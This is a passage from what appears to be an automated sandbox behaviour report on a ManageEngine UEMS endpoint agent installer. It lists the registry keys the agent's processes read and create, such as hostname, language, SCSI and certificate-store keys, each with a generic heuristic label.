1406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcinventory.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 39 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcprocmon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcprocmon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meaaphelper.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcnacprocess.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcuploadlogs.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meaap.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcpatchscan.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language uesDevCtrlSummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcmetroapps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaaphelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Privilager.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Privilager.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcpatchscan.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcprocmon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe - Checks SCSI registry key(s) 3 TTPs 36 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\LocationInformation dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\DeviceDesc uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\DeviceDesc uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\LocationInformation dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 uesAgentService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags uesAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ACPipelogServer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz ACPipelogServer.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4912 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs uesAgentService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople uesAgentService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot uesDevCtrlSummary.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA uesDevCtrlSummary.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs uesDevCtrlSummary.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcprocmon.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople meaaphelper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs meaaphelper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates meaaphelper.exe - Modifies registry class 36 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "7C3FEC54F6DB2754AA34EB273B9C5915" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcconfig.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (int) 